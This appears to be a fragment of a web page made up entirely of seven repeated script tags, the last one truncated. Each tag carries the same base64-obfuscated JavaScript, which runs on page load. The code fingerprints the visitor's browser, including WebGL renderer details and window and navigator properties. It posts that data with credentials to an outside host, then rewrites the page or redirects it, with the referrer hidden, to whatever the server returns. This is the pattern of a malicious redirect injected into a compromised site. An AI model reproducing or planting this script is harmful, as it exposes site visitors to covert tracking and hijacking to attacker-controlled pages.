<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRj